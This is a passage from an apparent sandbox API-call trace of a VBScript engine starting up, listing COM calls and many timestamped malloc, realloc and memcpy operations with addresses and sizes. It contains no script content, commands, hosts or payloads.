riid=0x7fef468d5b8*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x15da68 | out: ppv=0x15da68*=0x479040) returned 0x0 [0151.143] IUnknown:AddRef (This=0x479040) returned 0x2 [0151.143] GetCurrentProcessId () returned 0xfd8 [0151.143] GetCurrentThreadId () returned 0xfdc [0151.143] GetTickCount () returned 0xa69d5a [0151.143] ISystemDebugEventFire:BeginSession (This=0x479040, guidSourceID=0x7fef468d5d8, strSessionName="VBScript:00004056:00004060:10919258") returned 0x0 [0151.143] DllRegisterServer () returned 0x0 [0151.144] GetCurrentThreadId () returned 0xfdc [0151.144] realloc (_Block=0x0, _Size=0xc8) returned 0x15dcf0 [0151.144] memcpy (in: _Dst=0x15dcf0, _Src=0x7fef46a0800, _Size=0x10 | out: _Dst=0x15dcf0) returned 0x15dcf0 [0151.144] memcpy (in: _Dst=0x15dd00, _Src=0x7fef468f2c8, _Size=0x6 | out: _Dst=0x15dd00) returned 0x15dd00 [0151.144] memcpy (in: _Dst=0x15dd06, _Src=0x7fef468f2d0, _Size=0x18 | out: _Dst=0x15dd06) returned 0x15dd06 [0151.145] ??2@YAPEAX_K@Z () returned 0x1587c0 [0151.145] malloc (_Size=0x1008) returned 0x15ddc0 [0151.145] ??2@YAPEAX_K@Z () returned 0x15edd0 [0151.145] malloc (_Size=0x400) returned 0x15ef60 [0151.145] malloc (_Size=0x108) returned 0x15a100 [0151.146] malloc (_Size=0x2008) returned 0x21dfd0 [0151.146] memcpy (in: _Dst=0x21e004, _Src=0x20b6cd2, _Size=0xc | out: _Dst=0x21e004) returned 0x21e004 [0151.146] memcpy (in: _Dst=0x21e044, _Src=0x20b6ce0, _Size=0x10 | out: _Dst=0x21e044) returned 0x21e044 [0151.146] memcpy (in: _Dst=0x21e08c, _Src=0x20b6df0, _Size=0x6 | out: _Dst=0x21e08c) returned 0x21e08c [0151.146] memcpy (in: _Dst=0x21e0c4, _Src=0x20b6df8, _Size=0xa | out: _Dst=0x21e0c4) returned 0x21e0c4 [0151.146] memcpy (in: _Dst=0x21e104, _Src=0x20b6e0c, _Size=0x10 | out: _Dst=0x21e104) returned 0x21e104 [0151.147] memcpy (in: _Dst=0x21e14c, _Src=0x20b6e30, _Size=0xc | out: _Dst=0x21e14c) returned 0x21e14c [0151.147] malloc (_Size=0x208) returned 0x15f370 [0151.147] memcpy (in: _Dst=0x21e18c, _Src=0x20b6e50, _Size=0x4 | out: _Dst=0x21e18c) returned 0x21e18c [0151.147] memcpy (in: _Dst=0x21e1c4, _Src=0x20b6e68, _Size=0xa | out: _Dst=0x21e1c4) returned 0x21e1c4 [0151.147] memcpy (in: _Dst=0x21e204, _Src=0x20b6e7c, _Size=0x10 | out: _Dst=0x21e204) returned 0x21e204 [0151.147] memcpy (in: _Dst=0x21e24c, _Src=0x20b6e96, _Size=0x12 | out: _Dst=0x21e24c) returned 0x21e24c [0151.147] malloc (_Size=0x408) returned 0x15f580 [0151.148] memcpy (in: _Dst=0x21e294, _Src=0x20b6ec8, _Size=0x8 | out: _Dst=0x21e294) returned 0x21e294 [0151.148] memcpy (in: _Dst=0x21e2d4, _Src=0x20b6ef0, _Size=0x18 | out: _Dst=0x21e2d4) returned 0x21e2d4 [0151.148] memcpy (in: _Dst=0x21e324, _Src=0x20b6f0a, _Size=0x10 | out: _Dst=0x21e324) returned 0x21e324 [0151.148] memcpy (in: _Dst=0x21e36c, _Src=0x20b6f1c, _Size=0x18 | out: _Dst=0x21e36c) returned 0x21e36c [0151.148] memcpy (in: _Dst=0x21e3bc, _Src=0x20b6f36, _Size=0x2 | out: _Dst=0x21e3bc) returned 0x21e3bc [0151.148] memcpy (in: _Dst=0x21e3f4, _Src=0x20b6f84, _Size=0x6 | out: _Dst=0x21e3f4) returned 0x21e3f4 [0151.149] malloc (_Size=0x808) returned 0x21ffe0 [0151.149] memcpy (in: _Dst=0x21e42c, _Src=0x20b6fb0, _Size=0xa | out: _Dst=0x21e42c) returned 0x21e42c [0151.149] memcpy (in: _Dst=0x21e46c, _Src=0x20b6fbc, _Size=0x8 | out: _Dst=0x21e46c) returned 0x21e46c [0151.149] memcpy (in: _Dst=0x21e4ac, _Src=0x20b6fd8, _Size=0x2 | out: _Dst=0x21e4ac) returned 0x21e4ac [0151.149] memcpy (in: _Dst=0x21e4e4, _Src=0x20b6fec, _Size=0x8 | out: _Dst=0x21e4e4) returned 0x21e4e4 [0151.149] memcpy (in: _Dst=0x21e524, _Src=0x15ee3c, _Size=0x20 | out: _Dst=0x21e524) returned 0x21e524 [0151.150] memcpy (in: _Dst=0x21e57c, _Src=0x20b705c, _Size=0xa | out: _Dst=0x21e57c) returned 0x21e57c [0151.150] memcpy (in: _Dst=0x21e5bc, _Src=0x20b7072, _Size=0x6 | out: _Dst=0x21e5bc) returned 0x21e5bc [0151.150] memcpy (in: _Dst=0x21e5f4, _Src=0x20b70b8, _Size=0x8 | out: _Dst=0x21e5f4) returned 0x21e5f4 [0151.150] memcpy (in: _Dst=0x21e634, _Src=0x20b70da, _Size=0x8 | out: _Dst=0x21e634) returned 0x21e634 [0151.151] memcpy (in: _Dst=0x21e674, _Src=0x20b7122, _Size=0x16 | out: _Dst=0x21e674) returned 0x21e674 [0151.151] malloc (_Size=0x1008) returned 0x2207f0 [0151.151] memcpy (in: _Dst=0x21e6bc, _Src=0x20b71d8, _Size=0x12 | out: _Dst=0x21e6bc) returned 0x21e6bc [0151.152] memcpy (in: _Dst=0x21e704, _Src=0x20b7202, _Size=0xa | out: _Dst=0x21e704) returned 0x21e704 [0151.152] memcpy (in: _Dst=0x21e744, _Src=0x20b7210, _Size=0x8 | out: _Dst=0x21e744) returned 0x21e744 [0151.152] memcpy (in: _Dst=0x21e784, _Src=0x20b7222, _Size=0xe | out: _Dst=0x21e784) returned 0x21e784 [0151.152] memcpy (in: _Dst=0x21e7c4, _Src=0x20b723a, _Size=0x4 | out: _Dst=0x21e7c4) returned 0x21e7c4 [0151.152] memcpy (in: _Dst=0x21e7fc, _Src=0x20b7252, _Size=0x8 | out: _Dst=0x21e7fc) returned 0x21e7fc [0151.152] memcpy (in: _Dst=0x21e83c, _Src=0x20b72f8, _Size=0x4 | out: _Dst=0x21e83c) returned 0x21e83c [0151.153] memcpy (in: _Dst=0x21e874, _Src=0x20b72fe, _Size=0x14 | out: _Dst=0x21e874) returned 0x21e874 [0151.153] memcpy (in: _Dst=0x21e8bc, _Src=0x20b7314, _Size=0x18 | out: _Dst=0x21e8bc) returned 0x21e8bc [0151.153] memcpy (in: _Dst=0x21e90c, _Src=0x15ee3c, _Size=0x8 | out: _Dst=0x21e90c) returned 0x21e90c [0151.153] memcpy (in: _Dst=0x21e94c, _Src=0x20b733e, _Size=0xa | out: _Dst=0x21e94c) returned 0x21e94c [0151.153] memcpy (in: _Dst=0x21e98c, _Src=0x20b7352, _Size=0x8 | out: _Dst=0x21e98c) returned 0x21e98c [0151.153] memcpy (in: _Dst=0x21e9cc, _Src=0x20b74c2, _Size=0xe | out: _Dst=0x21e9cc) returned 0x21e9cc [0151.154] memcpy (in: _Dst=0x21ea0c, _Src=0x20b74d8, _Size=0x10 | out: _Dst=0x21ea0c) returned 0x21ea0c [0151.154] memcpy (in: _Dst=0x21ea54, _Src=0x15ee3c, _Size=0x1c | out: _Dst=0x21ea54) returned 0x21ea54 [0151.154] memcpy (in: _Dst=0x21eaa4, _Src=0x20b7534, _Size=0x1a | out: _Dst=0x21eaa4) returned 0x21eaa4 [0151.154] memcpy (in: _Dst=0x21eaf4, _Src=0x15ee3c, _Size=0x2 | out: _Dst=0x21eaf4) returned 0x21eaf4 [0151.154] memcpy (in: _Dst=0x21eb2c, _Src=0x20b75b2, _Size=0x14 | out: _Dst=0x21eb2c) returned 0x21eb2c [0151.154] memcpy (in: _Dst=0x21eb74, _Src=0x20b75c8, _Size=0x14 | out: _Dst=0x21eb74) returned 0x21eb74 [0151.155] memcpy (in: _Dst=0x21ebbc, _Src=0x20b75de, _Size=0xc | out: _Dst=0x21ebbc) returned 0x21ebbc [0151.155] memcpy (in: _Dst=0x21ebfc, _Src=0x15ee3c, _Size=0x8 | out: _Dst=0x21ebfc) returned 0x21ebfc [0151.155] memcpy (in: _Dst=0x21ec3c, _Src=0x20b765a, _Size=0x12 | out: _Dst=0x21ec3c) returned 0x21ec3c [0151.155] memcpy (in: _Dst=0x21ec84, _Src=0x20b7672, _Size=0x6 | out: _Dst=0x21ec84) returned 0x21ec84 [0151.155] memcpy (in: _Dst=0x21ecbc, _Src=0x20b767a, _Size=0x8 | out: _Dst=0x21ecbc) returned 0x21ecbc [0151.155] memcpy (in: _Dst=0x21ecfc, _Src=0x20b7690, _Size=0x4 | out: _Dst=0x21ecfc) returned 0x21ecfc [0151.156] memcpy (in: _Dst=0x21ed34, _Src=0x15ee3c, _Size=0xc | out: _Dst=0x21ed34) returned 0x21ed34 [0151.156] memcpy (in: _Dst=0x21ed74, _Src=0x15ee3c, _Size=0x2 | out: _Dst=0x21ed74) returned 0x21ed74 [0151.156] malloc (_Size=0x2008) returned 0x221800 [0151.156] memcpy (in: _Dst=0x21edac, _Src=0x20b77a0, _Size=0x1c | out: _Dst=0x21edac) returned 0x21edac [0151.157] memcpy (in: _Dst=0x21edfc, _Src=0x20b77d8, _Size=0xc | out: _Dst=0x21edfc) returned 0x21edfc [0151.157] memcpy (in: _Dst=0x21ee3c, _Src=0x15ee3c, _Size=0xc | out: _Dst=0x21ee3c) returned 0x21ee3c [0151.157] memcpy (in: _Dst=0x21ee7c, _Src=0x15ee3c, _Size=0x2 | out: _Dst=0x21ee7c) returned 0x21ee7c [0151.159] memcpy (in: _Dst=0x21eeb4, _Src=0x15ee3c, _Size=0x4 | out: _Dst=0x21eeb4) returned 0x21eeb4 [0151.159] memcpy (in: _Dst=0x21eeec, _Src=0x20b7aa0, _Size=0x8 | out: _Dst=0x21eeec) returned 0x21eeec [0151.160] memcpy (in: _Dst=0x21ef2c, _Src=0x15ee3c, _Size=0x2 | out: _Dst=0x21ef2c) returned 0x21ef2c [0151.160] memcpy (in: _Dst=0x21ef64, _Src=0x15ee3c, _Size=0x24 | out: _Dst=0x21ef64) returned 0x21ef64 [0151.160] memcpy (in: _Dst=0x21efbc, _Src=0x20b7bb4, _Size=0xc | out: _Dst=0x21efbc) returned 0x21efbc [0151.160] memcpy (in: _Dst=0x21effc, _Src=0x20b7bc4, _Size=0x8 | out: _Dst=0x21effc) returned 0x21effc [0151.160] memcpy (in: _Dst=0x21f03c, _Src=0x20b7bd0, _Size=0x10 | out: _Dst=0x21f03c) returned 0x21f03c [0151.161] memcpy (in: _Dst=0x21f084, _Src=0x20b7be4, _Size=0x1c | out: _Dst=0x21f084) returned 0x21f084 [0151.161] memcpy (in: _Dst=0x21f0d4, _Src=0x20b7c04, _Size=0x1a | out: _Dst=0x21f0d4) returned 0x21f0d4 [0151.161] memcpy (in: _Dst=0x21f124, _Src=0x20b7c22, _Size=0x16 | out: _Dst=0x21f124) returned 0x21f124 [0151.161] memcpy (in: _Dst=0x21f16c, _Src=0x20b7c3c, _Size=0x14 | out: _Dst=0x21f16c) returned 0x21f16c [0151.161] memcpy (in: _Dst=0x21f1b4, _Src=0x20b7c80, _Size=0x16 | out: _Dst=0x21f1b4) returned 0x21f1b4 [0151.161] memcpy (in: _Dst=0x21f1fc, _Src=0x15ee3c, _Size=0x1e | out: _Dst=0x21f1fc) returned 0x21f1fc [0151.161] memcpy (in: _Dst=0x21f24c, _Src=0x15ee3c, _Size=0x20 | out: _Dst=0x21f24c) returned 0x21f24c [0151.161] memcpy (in: _Dst=0x21f2a4, _Src=0x20b7d38, _Size=0x6 | out: _Dst=0x21f2a4) returned 0x21f2a4 [0151.162] memcpy (in: _Dst=0x21f2dc, _Src=0x20b7d60, _Size=0x20 | out: _Dst=0x21f2dc) returned 0x21f2dc [0151.162] memcpy (in: _Dst=0x21f334, _Src=0x15ee3c, _Size=0x8 | out: _Dst=0x21f334) returned 0x21f334 [0151.162] memcpy (in: _Dst=0x21f374, _Src=0x20b7d9e, _Size=0x6 | out: _Dst=0x21f374) returned 0x21f374 [0151.162] memcpy (in: _Dst=0x21f3ac, _Src=0x20b7db8, _Size=0x4 | out: _Dst=0x21f3ac) returned 0x21f3ac [0151.162] memcpy (in: _Dst=0x21f3e4, _Src=0x20b7dbe, _Size=0xe | out: _Dst=0x21f3e4) returned 0x21f3e4 [0151.162] memcpy (in: _Dst=0x21f424, _Src=0x15ee3c, _Size=0x4 | out: _Dst=0x21f424) returned 0x21f424 [0151.163] memcpy (in: _Dst=0x21f45c, _Src=0x20b7e32, _Size=0x8 | out: _Dst=0x21f45c) returned 0x21f45c [0151.163] memcpy (in: _Dst=0x21f49c, _Src=0x15ee3c, _Size=0x24 | out: _Dst=0x21f49c) returned 0x21f49c [0151.163] memcpy (in: _Dst=0x21f4f4, _Src=0x15ee3c, _Size=0x12 | out: _Dst=0x21f4f4) returned 0x21f4f4 [0151.164] memcpy (in: _Dst=0x21f53c, _Src=0x15ee3c, _Size=0x2 | out: _Dst=0x21f53c) returned 0x21f53c [0151.165] memcpy (in: _Dst=0x21f574, _Src=0x15ee3c, _Size=0x2 | out: _Dst=0x21f574) returned 0x21f574 [0151.165] memcpy (in: _Dst=0x21f5ac, _Src=0x15ee3c, _Size=0x1e | out: _Dst=0x21f5ac) returned 0x21f5ac [0151.165] memcpy (in: _Dst=0x21f5fc, _Src=0x15ee3c, _Size=0x12 | out: _Dst=0x21f5fc) returned 0x21f5fc [0151.165] malloc (_Size=0x4008) returned 0x223810 [0151.166] memcpy (in: _Dst=0x21f644, _Src=0x15ee3c, _Size=0x14 | out: _Dst=0x21f644) returned 0x21f644 [0151.167] memcpy (in: _Dst=0x21f68c, _Src=0x15ee3c, _Size=0x2 | out: _Dst=0x21f68c) returned 0x21f68c [0151.168] memcpy (in: _Dst=0x21f6c4, _Src=0x15ee3c, _Size=0x4 | out: _Dst=0x21f6c4) returned 0x21f6c4 [0151.168] memcpy (in: _Dst=0x21f6fc, _Src=0x15ee3c, _Size=0x10 | out: _Dst=0x21f6fc) returned 0x21f6fc [0151.168] memcpy (in: _Dst=0x21f744, _Src=0x15ee3c, _Size=0x2 | out: _Dst=0x21f744) returned 0x21f744 [0151.168] memcpy (in: _Dst=0x21f77c, _Src=0x20b86b6, _Size=0xe | out: _Dst=0x21f77c) returned 0x21f77c [0151.168] memcpy (in: _Dst=0x21f7bc, _Src=0x20b86fc, _Size=0x8 | out: _Dst=0x21f7bc) returned 0x21f7bc [0151.168] memcpy (in: _Dst=0x21f7fc, _Src=0x15ee3c, _Size=0x0 | out: _Dst=0x21f7fc) returned 0x21f7fc [0151.168] memcpy (in: _Dst=0x21f834, _Src=0x20b8712, _Size=0x8 | out: _Dst=0x21f834) returned 0x21f834 [0151.168] memcpy (in: _Dst=0x21f874, _Src=0x20b8794, _Size=0x1a | out: _Dst=0x21f874) returned 0x21f874 [0151.168] memcpy (in: _Dst=0x21f8c4, _Src=0x20b87c6, _Size=0x4 | out: _Dst=0x21f8c4) returned 0x21f8c4 [0151.183] memcpy (in: _Dst=0x21f8fc, _Src=0x20b87dc, _Size=0x4 | out: _Dst=0x21f8fc) returned 0x21f8fc [0151.183] memcpy (in: _Dst=0x21f934, _Src=0x20b8806, _Size=0x2 | out: _Dst=0x21f934) returned 0x21f934 [0151.184] memcpy (in: _Dst=0x21f96c, _Src=0x20b881a, _Size=0x2 | out: _Dst=0x21f96c) returned 0x21f96c [0151.184] memcpy (in: _Dst=0x21f9a4, _Src=0x20b8974, _Size=0x12 | out: _Dst=0x21f9a4) returned 0x21f9a4 [0151.184] memcpy (in: _Dst=0x21f9ec, _Src=0x15ee3c, _Size=0x4 | out: _Dst=0x21f9ec) returned 0x21f9ec [0151.185] memcpy (in: _Dst=0x21fa24, _Src=0x20b90a2, _Size=0xc | out: _Dst=0x21fa24) returned 0x21fa24 [0151.185] memcpy (in: _Dst=0x21fa64, _Src=0x20b9170, _Size=0x6 | out: _Dst=0x21fa64) returned 0x21fa64 [0151.185] memcpy (in: _Dst=0x21fa9c, _Src=0x20b918a, _Size=0x4 | out: _Dst=0x21fa9c) returned 0x21fa9c [0151.185] memcpy (in: _Dst=0x21fad4, _Src=0x20b920e, _Size=0x4 | out: _Dst=0x21fad4) returned 0x21fad4 [0151.185] memcpy (in: _Dst=0x21fb0c, _Src=0x20b9234, _Size=0x8 | out: _Dst=0x21fb0c) returned 0x21fb0c [0151.185] memcpy (in: _Dst=0x21fb4c, _Src=0x20b923e, _Size=0x6 | out: _Dst=0x21fb4c) returned 0x21fb4c [0151.185] memcpy (in: _Dst=0x21fb84, _Src=0x20b927a, _Size=0x4 | out: _Dst=0x21fb84) returned 0x21fb84 [0151.186] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.186] malloc (_Size=0x320) returned 0x15f990 [0151.187] malloc (_Size=0x4008) returned 0x227820 [0151.201] realloc (_Block=0x15f990, _Size=0x4b0) returned 0x15f990 [0151.204] malloc (_Size=0x4008) returned 0x22b830 [0151.205] memcpy (in: _Dst=0x22b830, _Src=0x20e4c0, _Size=0x30 | out: _Dst=0x22b830) returned 0x22b830 [0151.205] memcpy (in: _Dst=0x22b868, _Src=0x21e36c, _Size=0x1a | out: _Dst=0x22b868) returned 0x22b868 [0151.205] memcpy (in: _Dst=0x22b88c, _Src=0x21e42c, _Size=0xc | out: _Dst=0x22b88c) returned 0x22b88c [0151.205] memcpy (in: _Dst=0x22b8a0, _Src=0x21e674, _Size=0x18 | out: _Dst=0x22b8a0) returned 0x22b8a0 [0151.205] memcpy (in: _Dst=0x22b8c0, _Src=0x21e6bc, _Size=0x14 | out: _Dst=0x22b8c0) returned 0x22b8c0 [0151.205] memcpy (in: _Dst=0x22b8dc, _Src=0x21f874, _Size=0x1c | out: _Dst=0x22b8dc) returned 0x22b8dc [0151.205] memcpy (in: _Dst=0x22b900, _Src=0x21f9a4, _Size=0x14 | out: _Dst=0x22b900) returned 0x22b900 [0151.205] memcpy (in: _Dst=0x22b91c, _Src=0x21e0c4, _Size=0xc | out: _Dst=0x22b91c) returned 0x22b91c [0151.205] memcpy (in: _Dst=0x22b930, _Src=0x21e104, _Size=0x12 | out: _Dst=0x22b930) returned 0x22b930 [0151.205] memcpy (in: _Dst=0x22b94c, _Src=0x21e14c, _Size=0xe | out: _Dst=0x22b94c) returned 0x22b94c [0151.205] memcpy (in: _Dst=0x22b964, _Src=0x21e18c, _Size=0x6 | out: _Dst=0x22b964) returned 0x22b964 [0151.205] memcpy (in: _Dst=0x22b974, _Src=0x21e1c4, _Size=0xc | out: _Dst=0x22b974) returned 0x22b974 [0151.205] memcpy (in: _Dst=0x22b988, _Src=0x21e204, _Size=0x12 | out: _Dst=0x22b988) returned 0x22b988 [0151.205] memcpy (in: _Dst=0x22b9a4, _Src=0x21e24c, _Size=0x14 | out: _Dst=0x22b9a4) returned 0x22b9a4 [0151.205] memcpy (in: _Dst=0x22b9c0, _Src=0x21e294, _Size=0xa | out: _Dst=0x22b9c0) returned 0x22b9c0 [0151.206] memcpy (in: _Dst=0x22b9d4, _Src=0x21e2d4, _Size=0x1a | out: _Dst=0x22b9d4) returned 0x22b9d4 [0151.206] memcpy (in: _Dst=0x22b9f8, _Src=0x21e3bc, _Size=0x4 | out: _Dst=0x22b9f8) returned 0x22b9f8 [0151.206] memcpy (in: _Dst=0x22ba04, _Src=0x21e46c, _Size=0xa | out: _Dst=0x22ba04) returned 0x22ba04 [0151.206] memcpy (in: _Dst=0x22ba18, _Src=0x21e4ac, _Size=0x4 | out: _Dst=0x22ba18) returned 0x22ba18 [0151.206] memcpy (in: _Dst=0x22ba24, _Src=0x21e4e4, _Size=0xa | out: _Dst=0x22ba24) returned 0x22ba24 [0151.206] memcpy (in: _Dst=0x22ba38, _Src=0x21e524, _Size=0x22 | out: _Dst=0x22ba38) returned 0x22ba38 [0151.206] memcpy (in: _Dst=0x22ba64, _Src=0x21e5bc, _Size=0x8 | out: _Dst=0x22ba64) returned 0x22ba64 [0151.206] memcpy (in: _Dst=0x22ba74, _Src=0x21e634, _Size=0xa | out: _Dst=0x22ba74) returned 0x22ba74 [0151.206] memcpy (in: _Dst=0x22ba88, _Src=0x21e704, _Size=0xc | out: _Dst=0x22ba88) returned 0x22ba88 [0151.206] memcpy (in: _Dst=0x22ba9c, _Src=0x21e744, _Size=0xa | out: _Dst=0x22ba9c) returned 0x22ba9c [0151.206] memcpy (in: _Dst=0x22bab0, _Src=0x21e784, _Size=0x10 | out: _Dst=0x22bab0) returned 0x22bab0 [0151.206] memcpy (in: _Dst=0x22bac8, _Src=0x21efbc, _Size=0xe | out: _Dst=0x22bac8) returned 0x22bac8 [0151.206] memcpy (in: _Dst=0x22bae0, _Src=0x21effc, _Size=0xa | out: _Dst=0x22bae0) returned 0x22bae0 [0151.206] memcpy (in: _Dst=0x22baf4, _Src=0x21f03c, _Size=0x12 | out: _Dst=0x22baf4) returned 0x22baf4 [0151.206] memcpy (in: _Dst=0x22bb10, _Src=0x21f084, _Size=0x1e | out: _Dst=0x22bb10) returned 0x22bb10 [0151.206] memcpy (in: _Dst=0x22bb38, _Src=0x21f0d4, _Size=0x1c | out: _Dst=0x22bb38) returned 0x22bb38 [0151.206] memcpy (in: _Dst=0x22bb5c, _Src=0x21f124, _Size=0x18 | out: _Dst=0x22bb5c) returned 0x22bb5c [0151.207] memcpy (in: _Dst=0x22bb7c, _Src=0x21f16c, _Size=0x16 | out: _Dst=0x22bb7c) returned 0x22bb7c [0151.207] memcpy (in: _Dst=0x22bb9c, _Src=0x21e874, _Size=0x16 | out: _Dst=0x22bb9c) returned 0x22bb9c [0151.207] memcpy (in: _Dst=0x22bbbc, _Src=0x21e90c, _Size=0xa | out: _Dst=0x22bbbc) returned 0x22bbbc [0151.207] memcpy (in: _Dst=0x22bbd0, _Src=0x21e8bc, _Size=0x1a | out: _Dst=0x22bbd0) returned 0x22bbd0 [0151.207] memcpy (in: _Dst=0x22bbf4, _Src=0x21e94c, _Size=0xc | out: _Dst=0x22bbf4) returned 0x22bbf4 [0151.207] memcpy (in: _Dst=0x22bc08, _Src=0x21ea0c, _Size=0x12 | out: _Dst=0x22bc08) returned 0x22bc08 [0151.207] memcpy (in: _Dst=0x22bc24, _Src=0x21ea54, _Size=0x1e | out: _Dst=0x22bc24) returned 0x22bc24 [0151.207] memcpy (in: _Dst=0x22bc4c, _Src=0x21e9cc, _Size=0x10 | out: _Dst=0x22bc4c) returned 0x22bc4c [0151.207] memcpy (in: _Dst=0x22bc64, _Src=0x21eaa4, _Size=0x1c | out: _Dst=0x22bc64) returned 0x22bc64 [0151.207] memcpy (in: _Dst=0x22bc88, _Src=0x21eaf4, _Size=0x4 | out: _Dst=0x22bc88) returned 0x22bc88 [0151.207] memcpy (in: _Dst=0x22bc94, _Src=0x21eb2c, _Size=0x16 | out: _Dst=0x22bc94) returned 0x22bc94 [0151.207] memcpy (in: _Dst=0x22bcb4, _Src=0x21eb74, _Size=0x16 | out: _Dst=0x22bcb4) returned 0x22bcb4 [0151.207] memcpy (in: _Dst=0x22bcd4, _Src=0x21ebbc, _Size=0xe | out: _Dst=0x22bcd4) returned 0x22bcd4 [0151.207] memcpy (in: _Dst=0x22bcec, _Src=0x21ebfc, _Size=0xa | out: _Dst=0x22bcec) returned 0x22bcec [0151.207] memcpy (in: _Dst=0x22bd00, _Src=0x21ec3c, _Size=0x14 | out: _Dst=0x22bd00) returned 0x22bd00 [0151.207] memcpy (in: _Dst=0x22bd1c, _Src=0x21ed34, _Size=0xe | out: _Dst=0x22bd1c) returned 0x22bd1c [0151.208] memcpy (in: _Dst=0x22bd34, _Src=0x21ed74, _Size=0x4 | out: _Dst=0x22bd34) returned 0x22bd34 [0151.208] memcpy (in: _Dst=0x22bd40, _Src=0x21edac, _Size=0x1e | out: _Dst=0x22bd40) returned 0x22bd40 [0151.208] memcpy (in: _Dst=0x22bd68, _Src=0x21ee3c, _Size=0xe | out: _Dst=0x22bd68) returned 0x22bd68 [0151.208] memcpy (in: _Dst=0x22bd80, _Src=0x21ee7c, _Size=0x4 | out: _Dst=0x22bd80) returned 0x22bd80 [0151.208] memcpy (in: _Dst=0x22bd8c, _Src=0x21eeb4, _Size=0x6 | out: _Dst=0x22bd8c) returned 0x22bd8c [0151.208] memcpy (in: _Dst=0x22bd9c, _Src=0x21ef2c, _Size=0x4 | out: _Dst=0x22bd9c) returned 0x22bd9c [0151.208] memcpy (in: _Dst=0x22bda8, _Src=0x21ef64, _Size=0x26 | out: _Dst=0x22bda8) returned 0x22bda8 [0151.208] memcpy (in: _Dst=0x22bdd8, _Src=0x21f1fc, _Size=0x20 | out: _Dst=0x22bdd8) returned 0x22bdd8 [0151.208] memcpy (in: _Dst=0x22be00, _Src=0x21f1b4, _Size=0x18 | out: _Dst=0x22be00) returned 0x22be00 [0151.208] memcpy (in: _Dst=0x22be20, _Src=0x21f24c, _Size=0x22 | out: _Dst=0x22be20) returned 0x22be20 [0151.208] memcpy (in: _Dst=0x22be4c, _Src=0x21f334, _Size=0xa | out: _Dst=0x22be4c) returned 0x22be4c [0151.208] memcpy (in: _Dst=0x22be60, _Src=0x21f2dc, _Size=0x22 | out: _Dst=0x22be60) returned 0x22be60 [0151.208] memcpy (in: _Dst=0x22be8c, _Src=0x21f424, _Size=0x6 | out: _Dst=0x22be8c) returned 0x22be8c [0151.208] memcpy (in: _Dst=0x22be9c, _Src=0x21f45c, _Size=0xa | out: _Dst=0x22be9c) returned 0x22be9c [0151.208] memcpy (in: _Dst=0x22beb0, _Src=0x21f49c, _Size=0x26 | out: _Dst=0x22beb0) returned 0x22beb0 [0151.208] memcpy (in: _Dst=0x22bee0, _Src=0x21f4f4, _Size=0x14 | out: _Dst=0x22bee0) returned 0x22bee0 [0151.209] memcpy (in: _Dst=0x22befc, _Src=0x21f53c, _Size=0x4 | out: _Dst=0x22befc) returned 0x22befc [0151.209] memcpy (in: _Dst=0x22bf08, _Src=0x21f574, _Size=0x4 | out: _Dst=0x22bf08) returned 0x22bf08 [0151.209] memcpy (in: _Dst=0x22bf14, _Src=0x21f5ac, _Size=0x20 | out: _Dst=0x22bf14) returned 0x22bf14 [0151.209] memcpy (in: _Dst=0x22bf3c, _Src=0x21f5fc, _Size=0x14 | out: _Dst=0x22bf3c) returned 0x22bf3c [0151.209] memcpy (in: _Dst=0x22bf58, _Src=0x21f644, _Size=0x16 | out: _Dst=0x22bf58) returned 0x22bf58 [0151.209] memcpy (in: _Dst=0x22bf78, _Src=0x21f68c, _Size=0x4 | out: _Dst=0x22bf78) returned 0x22bf78 [0151.209] memcpy (in: _Dst=0x22bf84, _Src=0x21f6c4, _Size=0x6 | out: _Dst=0x22bf84) returned 0x22bf84 [0151.209] memcpy (in: _Dst=0x22bf94, _Src=0x21f6fc, _Size=0x12 | out: _Dst=0x22bf94) returned 0x22bf94 [0151.209] memcpy (in: _Dst=0x22bfb0, _Src=0x21f744, _Size=0x4 | out: _Dst=0x22bfb0) returned 0x22bfb0 [0151.209] memcpy (in: _Dst=0x22bfbc, _Src=0x21f7bc, _Size=0xa | out: _Dst=0x22bfbc) returned 0x22bfbc [0151.209] memcpy (in: _Dst=0x22bfd0, _Src=0x21f7fc, _Size=0x2 | out: _Dst=0x22bfd0) returned 0x22bfd0 [0151.209] memcpy (in: _Dst=0x22bfdc, _Src=0x21f77c, _Size=0x10 | out: _Dst=0x22bfdc) returned 0x22bfdc [0151.209] memcpy (in: _Dst=0x22bff4, _Src=0x21f834, _Size=0xa | out: _Dst=0x22bff4) returned 0x22bff4 [0151.209] memcpy (in: _Dst=0x22c008, _Src=0x21f8c4, _Size=0x6 | out: _Dst=0x22c008) returned 0x22c008 [0151.210] memcpy (in: _Dst=0x22c018, _Src=0x21f8fc, _Size=0x6 | out: _Dst=0x22c018) returned 0x22c018 [0151.210] memcpy (in: _Dst=0x22c028, _Src=0x21f934, _Size=0x4 | out: _Dst=0x22c028) returned 0x22c028 [0151.210] memcpy (in: _Dst=0x22c034, _Src=0x21f96c, _Size=0x4 | out: _Dst=0x22c034) returned 0x22c034 [0151.210] memcpy (in: _Dst=0x22c040, _Src=0x21f9ec, _Size=0x6 | out: _Dst=0x22c040) returned 0x22c040 [0151.210] memcpy (in: _Dst=0x22c050, _Src=0x21fa24, _Size=0xe | out: _Dst=0x22c050) returned 0x22c050 [0151.210] memcpy (in: _Dst=0x22c068, _Src=0x21fa64, _Size=0x8 | out: _Dst=0x22c068) returned 0x22c068 [0151.210] memcpy (in: _Dst=0x22c078, _Src=0x21fa9c, _Size=0x6 | out: _Dst=0x22c078) returned 0x22c078 [0151.210] memcpy (in: _Dst=0x22c088, _Src=0x21fb4c, _Size=0x8 | out: _Dst=0x22c088) returned 0x22c088 [0151.210] memcpy (in: _Dst=0x22c098, _Src=0x21fb0c, _Size=0xa | out: _Dst=0x22c098) returned 0x22c098 [0151.210] memcpy (in: _Dst=0x22c0a4, _Src=0x15ef60, _Size=0xab | out: _Dst=0x22c0a4) returned 0x22c0a4 [0151.210] memcpy (in: _Dst=0x22c150, _Src=0x15f990, _Size=0x378 | out: _Dst=0x22c150) returned 0x22c150 [0151.210] memcpy (in: _Dst=0x22c4e8, _Src=0x20ea80, _Size=0x20 | out: _Dst=0x22c4e8) returned 0x22c4e8 [0151.210] memcpy (in: _Dst=0x22c508, _Src=0x15dcf0, _Size=0x30 | out: _Dst=0x22c508) returned 0x22c508 [0151.210] memcpy (in: _Dst=0x22c538, _Src=0x20b6cd0, _Size=0x26bc | 